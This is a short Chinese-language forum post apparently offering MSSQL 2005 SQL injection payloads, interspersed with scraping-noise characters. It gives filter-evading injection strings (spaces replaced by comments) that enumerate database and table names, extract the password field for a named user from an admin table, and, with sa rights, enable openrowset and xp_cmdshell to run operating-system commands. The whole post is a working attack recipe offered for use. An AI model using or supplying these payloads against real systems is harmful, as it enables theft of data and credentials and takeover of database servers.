MSsql2005注入语句

admin

4 R7 p" ?. U* y' P! l" c/ U5 K
' h5 a; I5 i3 B: \( n5 P[Copy to clipboard]CODE:
7 n3 M: v3 k5 B/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
' y/ |: a: q- r& G- @
爆表语句,somedb部份是所要列的数据库，红色数字1累加
9 t5 u  _0 U% Z  Q# j$ v) I: E

[Copy to clipboard]CODE:
( r" N2 b4 k4 q; p) W/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
0 K  f( w7 n! K1 H
爆字段语句，爆表admin里user='icerover'的密码段

8 C+ N, T% ?7 Q# n+ j/ O0 B$ U' j  ^
0 U* U9 w3 Q$ k( Q8 ?, ^/ t[Copy to clipboard]CODE:
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的，openrowset也不能用
如果是sa权限，可以这样来开启
' j& ?1 e& f9 C7 j0 D- b; \开启openrowset
2 M/ D) V0 e9 L1 ?
. ?# n& i# [9 S2 q/ i' y0 g
' p, \1 L2 Q. S+ ~/ w: h/ x[Copy to clipboard]CODE:
2 [' n; @+ \, [1 I8 b/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--

6 e: v; u8 ]: U  Q3 x8 O5 ~  J开启xp_cmdshell
. k1 D" N+ u9 O6 q/ `$ o
0 Z+ u* g4 N4 ^4 I
[Copy to clipboard]CODE:
) ~! ^/ I5 I# X, G  {EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
6 J+ E% h: {# b+ k, x& P/ jEXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
1 x; @  e* K" L9 c' r
3 O+ t6 ?& E" X+ _! Wok,over~~晚安